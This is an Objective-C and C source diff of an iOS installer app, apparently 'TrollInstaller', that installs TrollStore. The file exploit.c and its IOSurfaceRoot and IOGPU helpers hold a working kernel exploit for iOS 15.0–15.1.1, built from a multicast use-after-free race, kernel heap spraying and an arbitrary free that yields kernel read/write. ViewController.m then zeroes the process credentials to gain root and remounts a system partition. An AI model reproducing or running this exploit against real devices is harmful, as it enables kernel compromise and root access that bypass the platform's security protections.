#import <UIKit/UIKit.h>
@interface SceneDelegate : UIResponder <UIWindowSceneDelegate>
@property (strong, nonatomic) UIWindow * window;
@end

View File

@ -0,0 +1,57 @@
//
// SceneDelegate.m
// TrollInstaller
//
// Created by Lars Fröder on 17.08.22.
//
#import "SceneDelegate.h"
@interface SceneDelegate ()
@end
@implementation SceneDelegate
- (void)scene:(UIScene *)scene willConnectToSession:(UISceneSession *)session options:(UISceneConnectionOptions *)connectionOptions {
// Use this method to optionally configure and attach the UIWindow `window` to the provided UIWindowScene `scene`.
// If using a storyboard, the `window` property will automatically be initialized and attached to the scene.
// This delegate does not imply the connecting scene or session are new (see `application:configurationForConnectingSceneSession` instead).
}
- (void)sceneDidDisconnect:(UIScene *)scene {
// Called as the scene is being released by the system.
// This occurs shortly after the scene enters the background, or when its session is discarded.
// Release any resources associated with this scene that can be re-created the next time the scene connects.
// The scene may re-connect later, as its session was not necessarily discarded (see `application:didDiscardSceneSessions` instead).
}
- (void)sceneDidBecomeActive:(UIScene *)scene {
// Called when the scene has moved from an inactive state to an active state.
// Use this method to restart any tasks that were paused (or not yet started) when the scene was inactive.
}
- (void)sceneWillResignActive:(UIScene *)scene {
// Called when the scene will move from an active state to an inactive state.
// This may occur due to temporary interruptions (ex. an incoming phone call).
}
- (void)sceneWillEnterForeground:(UIScene *)scene {
// Called as the scene transitions from the background to the foreground.
// Use this method to undo the changes made on entering the background.
}
- (void)sceneDidEnterBackground:(UIScene *)scene {
// Called as the scene transitions from the foreground to the background.
// Use this method to save data, release shared resources, and store enough scene-specific state information
// to restore the scene back to its current state.
}
@end

View File

@ -0,0 +1,14 @@
//
// ViewController.h
// TrollInstaller
//
// Created by Lars Fröder on 17.08.22.
//
#import <UIKit/UIKit.h>
@interface ViewController : UIViewController
@end

View File

@ -0,0 +1,211 @@
//
// ViewController.m
// TrollInstaller
//
// Created by Lars Fröder on 17.08.22.
//
#import "ViewController.h"
#import "kutil.h"
#import "exploit/exploit.h"
#import "exploit/kernel_rw.h"
#import "KernelManager.h"
#import "unarchive.h"
#import <spawn.h>
#import <sys/stat.h>
extern uint64_t g_self_proc;
int runBinary(NSString* path, NSArray* args)
{
NSMutableArray* argsM = args.mutableCopy;
[argsM insertObject:path.lastPathComponent atIndex:0];
NSUInteger argCount = [argsM count];
char **argsC = (char **)malloc((argCount + 1) * sizeof(char*));
for (NSUInteger i = 0; i < argCount; i++)
{
argsC[i] = strdup([[argsM objectAtIndex:i] UTF8String]);
}
argsC[argCount] = NULL;
pid_t task_pid;
int status = 0;
int spawnError = posix_spawn(&task_pid, [path UTF8String], NULL, NULL, (char* const*)argsC, NULL);
for (NSUInteger i = 0; i < argCount; i++)
{
free(argsC[i]);
}
free(argsC);
if(spawnError != 0)
{
NSLog(@"posix_spawn error %d\n", spawnError);
return spawnError;
}
waitpid(task_pid, &status, WEXITED);
waitpid(task_pid, NULL, 0);
NSLog(@"status = %d", status);
return status;
}
// Get root, credit: @xina520
struct k_posix_cred backup_cred;
int backup_groupSize;
gid_t backup_groupList[200];
int getRoot(void)
{
printf("attempting to get root...\n");
usleep(1000);
backup_groupSize = getgroups(200, &backup_groupList[0]);
backup_cred = proc_get_posix_cred(g_self_proc);
struct k_posix_cred zero_cred = {0};
printf("setting posix cred to zero cred...\n");
usleep(1000);
proc_set_posix_cred(g_self_proc, zero_cred);
int err = setgroups(0,0);
if(err)
{
printf("setgroups error %d\n", err);
usleep(1000);
}
int uid = getuid();
printf("getuid => %d\n", uid);
usleep(1000);
return uid;
}
int dropRoot(void)
{
if(getuid() != 0) return getuid();
printf("attempting to drop root...\n");
usleep(1000);
int err = setgroups(backup_groupSize,backup_groupList);
if(err)
{
printf("setgroups error %d\n", err);
usleep(1000);
}
proc_set_posix_cred(g_self_proc, backup_cred);
int uid = getuid();
printf("dropped root??? uid: %d\n", uid);
return uid;
}
@interface ViewController ()
@property (weak, nonatomic) IBOutlet UILabel *statusLabel;
@end
@implementation ViewController
- (void)viewDidLoad {
[super viewDidLoad];
// Do any additional setup after loading the view.
}
- (void)updateStatus:(NSString*)status
{
dispatch_async(dispatch_get_main_queue(), ^{
self.statusLabel.text = status;
});
}
int writeRemountPrivatePreboot(void)
{
return runBinary(@"/sbin/mount", @[@"-u", @"-w", @"/private/preboot"]);
}
- (void)doInstallation
{
[self updateStatus:@"Exploiting..."];
// Run Kernel exploit
uint64_t kernel_base;
exploit_get_krw_and_kernel_base(&kernel_base);
// Initialize KernelManager
KernelManager* km = [KernelManager sharedInstance];
[km loadOffsets];
[km loadSlidOffsetsWithKernelBase:kernel_base];
km.kread_32_d = kread32;
km.kread_64_d = kread64;
km.kwrite_32 = kwrite32;
km.kwrite_64 = kwrite64;
km.kcleanup = exploitation_cleanup;
[self updateStatus:@"Getting root..."];
// Get root
getRoot();
[self updateStatus:@"Installing..."];
writeRemountPrivatePreboot();
NSString* tmpDir = @"/private/preboot/tmp";
[[NSFileManager defaultManager] createDirectoryAtPath:tmpDir withIntermediateDirectories:NO attributes:nil error:nil];
NSString* tsTarPath = [NSBundle.mainBundle.bundlePath stringByAppendingPathComponent:@"TrollStore.tar"];
extract(tsTarPath, tmpDir);
NSString* helperPath = [tmpDir stringByAppendingPathComponent:@"TrollStore.app/trollstorehelper"];
chmod(helperPath.UTF8String, 0755);
chown(helperPath.UTF8String, 0, 0);
int ret = runBinary(helperPath, @[@"install-trollstore", tsTarPath]);
[self updateStatus:@"Cleaning up..."];
[[NSFileManager defaultManager] removeItemAtPath:tmpDir error:nil];
// Clean everything up so the kernel doesn't panic when the app exits
dropRoot();
[km finishAndCleanupIfNeeded];
[self updateStatus:@"Done!"];
// Print installed message
if(ret == 0)
{
dispatch_async(dispatch_get_main_queue(), ^{
UIAlertController* installedAlertController = [UIAlertController alertControllerWithTitle:@"Installed TrollStore" message:@"TrollStore was installed and can now be accessed from your home screen, you can uninstall the installer application now. Some devices suffer from a bug where newly installed applications don't immediately show up, in that case reboot and TrollStore should show up." preferredStyle:UIAlertControllerStyleAlert];
UIAlertAction* closeAction = [UIAlertAction actionWithTitle:@"Close" style:UIAlertActionStyleDefault handler:^(UIAlertAction * _Nonnull action) {
exit(0);
}];
[installedAlertController addAction:closeAction];
[self presentViewController:installedAlertController animated:YES completion:nil];
});
}
}
- (IBAction)installButtonPressed:(id)sender {
dispatch_async(dispatch_get_global_queue(DISPATCH_QUEUE_PRIORITY_DEFAULT, 0), ^{
[self doInstallation];
});
}
@end

View File

@ -0,0 +1,81 @@
#include "IOGPU.h"
#include <sys/utsname.h>
io_connect_t IOGPU_init(void)
{
mach_port_t mp = MACH_PORT_NULL;
kern_return_t IOMasterPort(mach_port_t, mach_port_t *);
IOMasterPort(MACH_PORT_NULL, &mp);
io_connect_t uc;
io_service_t s = IOServiceGetMatchingService(mp, IOServiceMatching("AGXAccelerator"));
if (s == MACH_PORT_NULL)
{
return 0;
}
if (IOServiceOpen(s, mach_task_self(), 1, &uc) != KERN_SUCCESS)
{
return 0;
}
return uc;
}
void IOGPU_exit(io_connect_t uc)
{
IOServiceClose(uc);
}
uint32_t IOGPU_create_command_queue(io_connect_t uc, uint64_t member)
{
uint64_t outStructCnt = 0x10;
uint32_t inStructCnt = 0x408;
uint8_t inStruct[0x408] = {0};
uint8_t outStruct[0x10] = {0};
// avoid null termination
memset(inStruct, 0x01, 0x30);
*(uint64_t *)(inStruct + 0x30) = member;
kern_return_t kr = IOConnectCallStructMethod(uc, 7, inStruct, inStructCnt, outStruct, (size_t *)&outStructCnt);
if (kr)
return 0;
return 1;
}
int IOGPU_get_command_queue_extra_refills_needed(void)
{
struct utsname u;
uname(&u);
// iPhone 7
// iPhone 11
// iPhone 12
// iPhone 13
if (
strstr(u.machine, "iPhone9,")
|| strstr(u.machine, "iPhone12,")
|| strstr(u.machine, "iPhone13,")
|| strstr(u.machine, "iPhone14,")
)
{
return 1;
}
// iPhone 8, X
// iPhone XS, XR
else if (
strstr(u.machine, "iPhone10,")
|| strstr(u.machine, "iPhone11,")
)
{
return 3;
}
printf("IOGPU_get_command_queue_extra_refills_needed(): Unknown device %s! May panic in generic part until correct number 1-5 is provided for this device!\n", u.machine);
return -1;
}

View File

@ -0,0 +1,16 @@
#ifndef __IOGPU_H__
#define __IOGPU_H__
#include "iokit.h"
#include <mach/mach.h>
#include <stdint.h>
io_connect_t IOGPU_init(void);
void IOGPU_exit(io_connect_t uc);
uint32_t IOGPU_create_command_queue(io_connect_t uc, uint64_t member);
int IOGPU_get_command_queue_extra_refills_needed(void);
#endif

View File

@ -0,0 +1,124 @@
#include "IOSurfaceRoot.h"
io_connect_t IOSurfaceRoot_init(void)
{
kern_return_t IOMasterPort(mach_port_t, mach_port_t *);
mach_port_t mp = MACH_PORT_NULL;
IOMasterPort(MACH_PORT_NULL, &mp);
io_connect_t uc;
io_service_t s = IOServiceGetMatchingService(mp, IOServiceMatching("IOSurfaceRoot"));
if (s == MACH_PORT_NULL)
{
return 0;
}
if (IOServiceOpen(s, mach_task_self(), 0, &uc) != KERN_SUCCESS)
{
return 0;
}
return uc;
}
void IOSurfaceRoot_exit(io_connect_t uc)
{
IOServiceClose(uc);
}
uint32_t IOSurfaceRoot_create_surface_fast(io_connect_t uc)
{
// Brandon Azad's definitions from https://bugs.chromium.org/p/project-zero/issues/detail?id=1986#c4
struct _IOSurfaceFastCreateArgs {
uint64_t address;
uint32_t width;
uint32_t height;
uint32_t pixel_format;
uint32_t bytes_per_element;
uint32_t bytes_per_row;
uint32_t alloc_size;
};
struct IOSurfaceLockResult {
uint8_t _pad1[0x18];
uint32_t surface_id;
uint8_t _pad2[0xF60-0x18-0x4];
};
struct _IOSurfaceFastCreateArgs create_args = { .alloc_size = (uint32_t) 0x4000 };
struct IOSurfaceLockResult lock_result = {0};
uint64_t lock_result_size = sizeof(lock_result);
IOConnectCallMethod(
uc,
6,
NULL, 0,
&create_args, sizeof(create_args),
NULL, NULL,
&lock_result, (size_t *)&lock_result_size);
return lock_result.surface_id;
}
kern_return_t IOSurfaceRoot_lookup_surface(io_connect_t uc, uint32_t surf_id)
{
uint64_t sz = 0xF60;
uint8_t o[0xF60];
uint64_t scalarInput = surf_id;
kern_return_t ret = IOConnectCallMethod(uc, 4, &scalarInput, 1, 0, 0, 0, 0, o, (size_t *)&sz);
return ret;
}
kern_return_t IOSurfaceRoot_release_surface(io_connect_t uc, uint32_t surf_id)
{
uint64_t scalarInput = surf_id;
kern_return_t ret = IOConnectCallMethod(uc, 1, &scalarInput, 1, 0, 0, 0, 0, 0, 0);
return ret;
}
void IOSurfaceRoot_release_all(io_connect_t uc)
{
for (uint32_t surf_id = 1; surf_id < 0x3FFF; ++surf_id)
{
IOSurfaceRoot_release_surface(uc, surf_id);
}
}
uint32_t IOSurfaceRoot_get_surface_use_count(io_connect_t uc, uint32_t surf_id)
{
uint64_t scalarInput = surf_id;
uint64_t output = 0;
uint64_t outputCnt = 1;
IOConnectCallMethod(uc, 16, &scalarInput, 1, 0, 0, &output, (uint32_t *)&outputCnt, 0, 0);
return (uint32_t)output;
}
void IOSurfaceRoot_set_compressed_tile_data_region_memory_used_of_plane(io_connect_t uc, uint32_t surf_id, uint64_t tile)
{
uint64_t scalarInput[3];
scalarInput[0] = surf_id;
scalarInput[1] = 0;
scalarInput[2] = tile;
IOConnectCallScalarMethod(uc, 31, (uint64_t *)&scalarInput, 3, 0, 0);
}
uint32_t IOSurfaceRoot_cause_array_size_to_be_0x4000(void)
{
for (int i = 0; i < 4; ++i)
{
io_connect_t uc = IOSurfaceRoot_init();
for (int i = 0; i < 0xf00; ++i)
{
uint32_t last_id = IOSurfaceRoot_create_surface_fast(uc);
if (0x3400 <= (last_id * sizeof(uint64_t)))
{
return last_id;
}
}
}
return -1;
}

View File

@ -0,0 +1,25 @@
#ifndef __IOSURFACEROOT_H__
#define __IOSURFACEROOT_H__
#include "iokit.h"
#include <IOSurface/IOSurfaceRef.h>
#include <stdint.h>
io_connect_t IOSurfaceRoot_init(void);
void IOSurfaceRoot_exit(io_connect_t uc);
uint32_t IOSurfaceRoot_create_surface_fast(io_connect_t uc);
kern_return_t IOSurfaceRoot_lookup_surface(io_connect_t uc, uint32_t surf_id);
int IOSurfaceRoot_release_surface(io_connect_t uc, uint32_t surf_id);
void IOSurfaceRoot_release_all(io_connect_t uc);
uint32_t IOSurfaceRoot_get_surface_use_count(io_connect_t uc, uint32_t surf_id);
void IOSurfaceRoot_set_compressed_tile_data_region_memory_used_of_plane(io_connect_t uc, uint32_t surf_id, uint64_t tile);
uint32_t IOSurfaceRoot_cause_array_size_to_be_0x4000(void);
#endif

View File

@ -0,0 +1,335 @@
#include "exploit.h"
#include "iokit.h"
#include "IOGPU.h"
#include "IOSurfaceRoot.h"
#include "kernel_rw.h"
#include "kernel_base.h"
#include "mcast.h"
#include "necp.h"
#include "port_utils.h"
#include "spray.h"
#include <mach/mach.h>
#include <pthread.h>
#include <sys/utsname.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <unistd.h>
#pragma clang diagnostic ignored "-Wdeprecated-declarations"
#define KHEAP_DATA_MAPPABLE_LOC 0xFFFFFFE383200000 // may have to be tweaked per device
#define KHEAP_DEFAULT_MAPPABLE_LOC 0xFFFFFFE376000000 // may have to be tweaked per device
#define BYTECOPY_FIRST_TARGET (KHEAP_DATA_MAPPABLE_LOC + 0x3F8C - BYTECOPY_OFFSET_IPV6) // will copy over trailer size of kmsg (used for identification of which kmsg was corrupted)
#define BYTECOPY_SECOND_TARGET (KHEAP_DATA_MAPPABLE_LOC + 3 - BYTECOPY_OFFSET_IPV6) // will copy over highest byte of kmsg's message bits, turning a non-complex kmsg to a complex one if its size ends in 0x80 (MACH_MSGH_BITS_COMPLEX)
#define BYTECOPY_OFFSET_IPV6 0x28
#define PORTS_COUNT 0x2A00
#define KMSG_SIZE 0x3F80 // the low 0x80 byte of this size will be copied to corrupt the message bits (setting 0x80000000, MACH_MSGH_BITS_COMPLEX)
#define UAF_BUFFER_KALLOC_1664_JOIN_COUNT 64 // UaF buffer ends up in default.kalloc.1664
mach_port_t notif_port = MACH_PORT_NULL;
mach_port_t *kheap_default_ports = NULL;
uint8_t *IOSurfaceClient_array_buf = NULL;
mach_port_t *kheap_data_ports = NULL;
int kheap_data_idx = -1;
int extra_frees_for_device = -1;
io_connect_t iogpu_connect = MACH_PORT_NULL;
mach_port_t get_arb_free_holder(void)
{
int success = 0;
// reliability voodoo
for (int i = 0; i < 3; ++i)
{
mcast_increase_race_reliability();
printf("Increase reliability...\n");
}
// more reliability voodoo
pthread_attr_t pattr;
pthread_attr_init(&pattr);
pthread_attr_set_qos_class_np(&pattr, QOS_CLASS_USER_INITIATED, 0);
// initialize refill buffer, putting the target for the bytecopy primitive there
uint8_t *necp_buf = malloc(4096);
*(uint64_t *)(necp_buf + 0x278) = BYTECOPY_FIRST_TARGET;
printf("Start (will fail if device has not been rebooted since last run)\n");
kheap_data_idx = -1;
for (int iterations = 0; iterations < 255; ++iterations)
{
pthread_t pt1;
pthread_t pt2;
int s = socket(AF_INET6, SOCK_DGRAM, 0);
int necp_fd = necp_open(0);
mcast_race_sock = s;
// grow the buffer on which the UaF will be triggered to default.kalloc.1664 and
// put it at its max size before next realloc will occur
int ip = 0;
for (ip = 0; ip < UAF_BUFFER_KALLOC_1664_JOIN_COUNT-2; ++ip)
{
mcast_join_group(ip);
}
// trigger the UaF in default.kalloc.1664, perform bytecopy primitive if refill is successful
pthread_create(&pt1, &pattr, (void *(*)(void *))mcast_join_group, (void *)(uint64_t)ip);
pthread_create(&pt2, &pattr, (void *(*)(void *))mcast_join_group, (void *)(uint64_t)(ip + 1));
// refill the UaF buffer in default.kalloc.1664 during the race
for (int i = 0; i < 10; ++i)
{
spray_default_kalloc_necp(necp_fd, necp_buf, 0x318);
}
// synchronize
pthread_join(pt1, NULL);
pthread_join(pt2, NULL);
// find out if the refill succeeded, in which case a corrupted trailer size will be returned
// for the holder of the corrupted kmsg, which has also had its message bits corrupted
// (0x80000000 - MACH_MSGH_BITS_COMPLEX - now set)
{
for (int i = 0; i < PORTS_COUNT; ++i)
{
int sz = port_peek_trailer_size(kheap_data_ports[i]);
if (sz != 8)
{
printf("kheap_data_idx: %08X\n", i);
kheap_data_idx = i;
break;
}
}
if (kheap_data_idx != -1)
{
success = 1;
break;
}
}
close(s);
printf("iteration %d\n", iterations);
}
if (!success)
{
printf("Failed! Run exploit only once per boot\n");
printf("Make sure you are on iOS 15.0 - 15.1.1 and reboot to try again\n");
exit(1);
}
free(necp_buf);
return kheap_data_ports[kheap_data_idx];
}
int exploitation_init(void)
{
// different by device, retrieve it first and fail if unsuccessful
extra_frees_for_device = IOGPU_get_command_queue_extra_refills_needed();
if (extra_frees_for_device == -1)
{
printf("Exiting early, provide correct number 1-5 in the code for this device to proceed\n");
return 1;
}
kheap_data_ports = malloc(PORTS_COUNT * sizeof(mach_port_t));
kheap_default_ports = malloc(PORTS_COUNT * sizeof(mach_port_t));
mach_port_t *contained_ports = malloc(PORTS_COUNT * sizeof(mach_port_t));
mach_port_t *ool_ports = malloc(0x4000);
uint8_t *kheap_data_spray_buf = malloc(0x4000);
memset(kheap_data_ports, 0, PORTS_COUNT * sizeof(mach_port_t));
memset(kheap_default_ports, 0, PORTS_COUNT * sizeof(mach_port_t));
memset(contained_ports, 0, PORTS_COUNT * sizeof(mach_port_t));
memset(ool_ports, 0, 0x4000);
memset(kheap_data_spray_buf, 0, 0x4000);
// initialize the inline data
// fake descriptor for free primitive
*(uint32_t *)(kheap_data_spray_buf + sizeof(mach_msg_header_t)) = 1;
*(uint64_t *)(kheap_data_spray_buf + sizeof(mach_msg_header_t) + sizeof(uint32_t)) = KHEAP_DEFAULT_MAPPABLE_LOC; // free primitive target
*(uint64_t *)(kheap_data_spray_buf + sizeof(mach_msg_header_t) + sizeof(uint32_t) + sizeof(uint64_t)) = 0x000007F802110000; // disposition, size, etc
// align a pointer here so that when the kmsg trailer size is corrupted, this pointer
// will after that be followed and a second bytecopy performed where it points (kmsg message bits)
*(uint64_t *)(kheap_data_spray_buf + 0x3F64) = BYTECOPY_SECOND_TARGET;
// spray large sprays to map KHEAP_DATA_MAPPABLE_LOC and KHEAP_DEFAULT_MAPPABLE_LOC
for (int i = 0; i < PORTS_COUNT; ++i)
{
// KHEAP_DEFAULT
*ool_ports = port_new();
contained_ports[i] = *ool_ports;
mach_port_t *pp = spray_default_kalloc_ool_ports(0x4000, 1, ool_ports);
kheap_default_ports[i] = pp[0];
free(pp);
// KHEAP_DATA_BUFFERS
kheap_data_ports[i] = spray_data_kalloc_kmsg_single(kheap_data_spray_buf, KMSG_SIZE);
}
notif_port = port_new();
for (int i = 0; i < PORTS_COUNT; ++i)
{
mach_port_t prev;
mach_port_request_notification(mach_task_self(), contained_ports[i], MACH_NOTIFY_NO_SENDERS, 0, notif_port, MACH_MSG_TYPE_MAKE_SEND_ONCE, &prev);
mach_port_deallocate(mach_task_self(), contained_ports[i]);
}
// pre-init kernel rw
IOSurfaceClient_array_buf = malloc(0x4000);
kernel_rw_preinit(KHEAP_DATA_MAPPABLE_LOC - 0x4000 + 0x10, IOSurfaceClient_array_buf, 0x4000);
free(contained_ports);
free(ool_ports);
free(kheap_data_spray_buf);
return 0;
}
int exploitation_get_krw_with_arb_free(mach_port_t arb_free_holder, uint64_t *kernel_base)
{
uint8_t msg_buf[0x100];
int fildes[2];
pipe(fildes);
int read_pipe = fildes[0];
int write_pipe = fildes[1];
// alloc this one before array of IOSurfaceClients becomes 0x4000
io_connect_t iosurface_connect_krw = IOSurfaceRoot_init();
// cause max size of arrays of IOSurfaceClients to become 0x4000
uint32_t last_id = IOSurfaceRoot_cause_array_size_to_be_0x4000();
// trigger arbitrary free in kheap default
port_destroy(arb_free_holder);
// do refill in kheap default
IOSurfaceRoot_lookup_surface(iosurface_connect_krw, last_id);
// NULL out array
IOSurfaceRoot_release_all(iosurface_connect_krw);
// find allocation at KHEAP_DEFAULT_MAPPABLE_LOC
int kheap_default_idx = -1;
for (uint32_t i = 0;
(i < PORTS_COUNT) && port_has_msg(notif_port);
i++)
{
port_receive_msg(notif_port, msg_buf, sizeof(msg_buf));
port_destroy(kheap_default_ports[i]);
kheap_default_idx = i;
}
// Note: don't add time sensitive code here, allocation at KHEAP_DEFAULT_MAPPABLE_LOC
// has been free'd and will be refilled below
// printf("Allocation at KHEAP_DEFAULT_MAPPABLE_LOC has been free'd\n");
if (kheap_default_idx >= PORTS_COUNT)
{
printf("kheap_default_idx >= PORTS_COUNT\n");
exit(1);
}
// extra frees
for (int i = 0; i < extra_frees_for_device; ++i)
{
port_destroy(kheap_default_ports[(kheap_default_idx+1)+i]);
}
// do refill
iogpu_connect = IOGPU_init();
// add entry
IOGPU_create_command_queue(iogpu_connect, KHEAP_DATA_MAPPABLE_LOC - 0x4000 + 0x10);
printf("kheap_default_idx: %08X\n", kheap_default_idx);
// refill in kheap data
port_destroy(kheap_data_ports[kheap_data_idx-1]);
write(write_pipe, IOSurfaceClient_array_buf, KERNEL_RW_SIZE_FAKE_ARRAY-1);
kernel_rw_init(iosurface_connect_krw, 1, read_pipe, write_pipe);
kwrite32(KHEAP_DEFAULT_MAPPABLE_LOC, 0xFEED);
uint32_t result = kread32(KHEAP_DEFAULT_MAPPABLE_LOC);
printf("Test kwrite32 and kread32: %08X (should be 0000FEED)\n", result);
if (result != 0xFEED)
{
printf("Failed! Reboot to try again (remember to only run once per boot)\n");
exit(1);
}
printf("Get kernel base...\n");
*kernel_base = kernel_base_from_holder(kheap_data_ports[kheap_data_idx-2], KHEAP_DATA_MAPPABLE_LOC - 0x8000);
printf("Got kernel base: %p\n", (void *)*kernel_base);
return 0;
}
void exploitation_cleanup(void)
{
uint64_t command_queue_loc = kread64(KHEAP_DEFAULT_MAPPABLE_LOC + 8);
uint64_t parent_loc = kread64(command_queue_loc + 0x488);
uint64_t namespace_loc = kread64(parent_loc + 0x88);
// bump refs
kwrite32(command_queue_loc + 0x8, 10);
kwrite32(namespace_loc + 0x8, 10);
IOServiceClose(iogpu_connect);
}
int exploit_get_krw_and_kernel_base(uint64_t *kernel_base)
{
uint64_t _kernel_base = 0;
// generic exploitation init
if (exploitation_init() != 0)
{
return 1;
}
// trigger bug, get arbitrary free
mach_port_t arb_free_holder = get_arb_free_holder();
// generic exploitation using arbitrary free
exploitation_get_krw_with_arb_free(arb_free_holder, &_kernel_base);
// generic exploitation cleanup (kernel r/w still active)
//exploitation_cleanup();
*kernel_base = _kernel_base;
return 0;
}
int exploit_go(void)
{
uint64_t kernel_base = 0;
if (exploit_get_krw_and_kernel_base(&kernel_base) != 0)
{
printf("Exploit failed!\n");
return 1;
}
// test kernel r/w, read kernel base
uint32_t mh_magic = kread32(kernel_base);
if (mh_magic != 0xFEEDFACF)
{
printf("mh_magic != 0xFEEDFACF: %08X\n", mh_magic);
return 1;
}
printf("kread32(_kernel_base) success: %08X\n", mh_magic);
printf("Done\n");
return 0;
}

View File

@ -0,0 +1,9 @@
#ifndef __EXPLOIT_H__
#define __EXPLOIT_H__
#include <stdint.h>
int exploit_get_krw_and_kernel_base(uint64_t *kernel_base);
void exploitation_cleanup(void);
#endif

View File

@ -0,0 +1,120 @@
// Credits: Siguza
// https://github.com/Siguza/iokit-utils/blob/master/src/iokit.h
#ifndef IOKIT_H
#define IOKIT_H
#include <stdint.h>
#include <mach/mach.h>
#include <CoreFoundation/CoreFoundation.h>
typedef char io_name_t[128];
typedef char io_string_t[512];
typedef char io_struct_inband_t[4096];
typedef mach_port_t io_object_t;
typedef io_object_t io_registry_entry_t;
typedef io_object_t io_service_t;
typedef io_object_t io_connect_t;
typedef io_object_t io_iterator_t;
enum
{
kIOCFSerializeToBinary = 0x00000001U,
};
enum
{
kIOClassNameOverrideNone = 0x00000001U,
};
enum
{
kIOMapAnywhere = 0x00000001U,
};
enum
{
kIORegistryIterateRecursively = 0x00000001U,
kIORegistryIterateParents = 0x00000002U,
};
enum
{
kOSSerializeDictionary = 0x01000000U,
kOSSerializeArray = 0x02000000U,
kOSSerializeSet = 0x03000000U,
kOSSerializeNumber = 0x04000000U,
kOSSerializeSymbol = 0x08000000U,
kOSSerializeString = 0x09000000U,
kOSSerializeData = 0x0a000000U,
kOSSerializeBoolean = 0x0b000000U,
kOSSerializeObject = 0x0c000000U,
kOSSerializeTypeMask = 0x7F000000U,
kOSSerializeDataMask = 0x00FFFFFFU,
kOSSerializeEndCollection = 0x80000000U,
kOSSerializeMagic = 0x000000d3U,
};
extern const mach_port_t kIOMasterPortDefault;
CF_RETURNS_RETAINED CFDataRef IOCFSerialize(CFTypeRef object, CFOptionFlags options);
CFTypeRef IOCFUnserializeWithSize(const char *buf, size_t len, CFAllocatorRef allocator, CFOptionFlags options, CFStringRef *err);
kern_return_t IOObjectRetain(io_object_t object);
kern_return_t IOObjectRelease(io_object_t object);
boolean_t IOObjectConformsTo(io_object_t object, const io_name_t name);
uint32_t IOObjectGetKernelRetainCount(io_object_t object);
kern_return_t IOObjectGetClass(io_object_t object, io_name_t name);
kern_return_t _IOObjectGetClass(io_object_t object, uint64_t options, io_name_t name);
CFStringRef IOObjectCopyClass(io_object_t object);
CFStringRef _IOObjectCopyClass(io_object_t object, uint64_t options);
CFStringRef IOObjectCopySuperclassForClass(CFStringRef name);
CFStringRef IOObjectCopyBundleIdentifierForClass(CFStringRef name);
io_registry_entry_t IORegistryGetRootEntry(mach_port_t master);
io_registry_entry_t IORegistryEntryFromPath(mach_port_t master, const io_string_t path);
kern_return_t IORegistryEntryGetName(io_registry_entry_t entry, io_name_t name);
kern_return_t IORegistryEntryGetRegistryEntryID(io_registry_entry_t entry, uint64_t *entryID);
kern_return_t IORegistryEntryGetPath(io_registry_entry_t entry, const io_name_t plane, io_string_t path);
kern_return_t IORegistryEntryGetProperty(io_registry_entry_t entry, const io_name_t name, io_struct_inband_t buffer, uint32_t *size);
kern_return_t IORegistryEntryCreateCFProperties(io_registry_entry_t entry, CFMutableDictionaryRef *properties, CFAllocatorRef allocator, uint32_t options);
CFTypeRef IORegistryEntryCreateCFProperty(io_registry_entry_t entry, CFStringRef key, CFAllocatorRef allocator, uint32_t options);
kern_return_t IORegistryEntrySetCFProperties(io_registry_entry_t entry, CFTypeRef properties);
kern_return_t IORegistryCreateIterator(mach_port_t master, const io_name_t plane, uint32_t options, io_iterator_t *it);
kern_return_t IORegistryEntryCreateIterator(io_registry_entry_t entry, const io_name_t plane, uint32_t options, io_iterator_t *it);
kern_return_t IORegistryEntryGetChildIterator(io_registry_entry_t entry, const io_name_t plane, io_iterator_t *it);
kern_return_t IORegistryEntryGetParentIterator(io_registry_entry_t entry, const io_name_t plane, io_iterator_t *it);
io_object_t IOIteratorNext(io_iterator_t it);
boolean_t IOIteratorIsValid(io_iterator_t it);
void IOIteratorReset(io_iterator_t it);
CFMutableDictionaryRef IOServiceMatching(const char *name) CF_RETURNS_RETAINED;
CFMutableDictionaryRef IOServiceNameMatching(const char *name) CF_RETURNS_RETAINED;
io_service_t IOServiceGetMatchingService(mach_port_t master, CFDictionaryRef matching CF_RELEASES_ARGUMENT);
kern_return_t IOServiceGetMatchingServices(mach_port_t master, CFDictionaryRef matching CF_RELEASES_ARGUMENT, io_iterator_t *it);
kern_return_t _IOServiceGetAuthorizationID(io_service_t service, uint64_t *authID);
kern_return_t _IOServiceSetAuthorizationID(io_service_t service, uint64_t authID);
kern_return_t IOServiceGetBusyStateAndTime(io_service_t service, uint64_t *state, uint32_t *busyState, uint64_t *busyTime);
kern_return_t IOServiceOpen(io_service_t service, task_t task, uint32_t type, io_connect_t *client);
kern_return_t IOServiceClose(io_connect_t client);
kern_return_t IOCloseConnection(io_connect_t client);
kern_return_t IOConnectAddRef(io_connect_t client);
kern_return_t IOConnectRelease(io_connect_t client);
kern_return_t IOConnectGetService(io_connect_t client, io_service_t *service);
kern_return_t IOConnectAddClient(io_connect_t client, io_connect_t other);
kern_return_t IOConnectSetNotificationPort(io_connect_t client, uint32_t type, mach_port_t port, uintptr_t ref);
kern_return_t IOConnectMapMemory64(io_connect_t client, uint32_t type, task_t task, mach_vm_address_t *addr, mach_vm_size_t *size, uint32_t options);
kern_return_t IOConnectUnmapMemory64(io_connect_t client, uint32_t type, task_t task, mach_vm_address_t addr);
kern_return_t IOConnectSetCFProperties(io_connect_t client, CFTypeRef properties);
kern_return_t IOConnectCallMethod(io_connect_t client, uint32_t selector, const uint64_t *in, uint32_t inCnt, const void *inStruct, size_t inStructCnt, uint64_t *out, uint32_t *outCnt, void *outStruct, size_t *outStructCnt);
kern_return_t IOConnectCallScalarMethod(io_connect_t client, uint32_t selector, const uint64_t *in, uint32_t inCnt, uint64_t *out, uint32_t *outCnt);
kern_return_t IOConnectCallStructMethod(io_connect_t client, uint32_t selector, const void *inStruct, size_t inStructCnt, void *outStruct, size_t *outStructCnt);
kern_return_t IOConnectCallAsyncMethod(io_connect_t client, uint32_t selector, mach_port_t wake_port, uint64_t *ref, uint32_t refCnt, const uint64_t *in, uint32_t inCnt, const void *inStruct, size_t inStructCnt, uint64_t *out, uint32_t *outCnt, void *outStruct, size_t *outStructCnt);
kern_return_t IOConnectCallAsyncScalarMethod(io_connect_t client, uint32_t selector, mach_port_t wake_port, uint64_t *ref, uint32_t refCnt, const uint64_t *in, uint32_t inCnt, uint64_t *out, uint32_t *outCnt);
kern_return_t IOConnectCallAsyncStructMethod(io_connect_t client, uint32_t selector, mach_port_t wake_port, uint64_t *ref, uint32_t refCnt, const void *inStruct, size_t inStructCnt, void *outStruct, size_t *outStructCnt);
